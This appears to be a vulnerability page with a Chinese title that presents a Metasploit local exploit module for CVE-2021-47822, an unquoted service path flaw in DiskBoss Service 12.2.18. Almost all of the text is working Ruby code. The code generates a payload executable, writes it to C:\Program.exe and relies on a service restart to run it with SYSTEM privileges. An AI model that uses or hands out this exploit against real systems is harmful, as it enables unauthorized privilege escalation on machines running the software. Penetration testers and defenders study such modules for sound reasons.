CVE-2021-47822 DiskBoss Service未加引号服务路径权限提升漏洞

# Metasploit Module for CVE-2021-47822 - DiskBoss Service Unquoted Service Path # This module exploits the unquoted service path vulnerability in DiskBoss Service # Target: DiskBoss Service 12.2.18 # Author: VulnCheck # Disclosure: [email protected] require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking def initialize(info = {}) super(update_info(info, 'Name' => 'DiskBoss Service Unquoted Service Path Privilege Escalation', 'Description' => %q{ This module exploits an unquoted service path vulnerability in DiskBoss Service. The vulnerability exists because the service binary path is not properly quoted, allowing attackers to place malicious executables in intermediate path directories. When the service starts, Windows will attempt to execute the malicious binary with SYSTEM privileges. }, 'License' => MSF_LICENSE, 'Author' => ['VulnCheck'], 'DisclosureDate' => '2022-01-16', 'Platform' => ['win'], 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, 'References' => [ ['CVE', '2021-47822'], ['URL', 'https://www.vulncheck.com/advisories/diskboss-service-diskbsaexe-unquoted-service-path'], ['EDB', '49899'] ] )) end def exploit # Generate payload executable payload_exe = generate_payload_exe # Target path where malicious executable will be placed # The service path is typically: C:\Program Files\DiskBoss\bin\diskbsa.exe # We target the intermediate directory 'Program' to gain execution target_path = "C:\\Program.exe" print_status("Placing malicious executable at #{target_path}") # Write the payload to the target path write_file(target_path, payload_exe) print_good("Malicious executable placed successfully!") print_status("Waiting for service restart to trigger payload execution...") print_status("The DiskBoss service will execute C:\\Program.exe with SYSTEM privileges") end end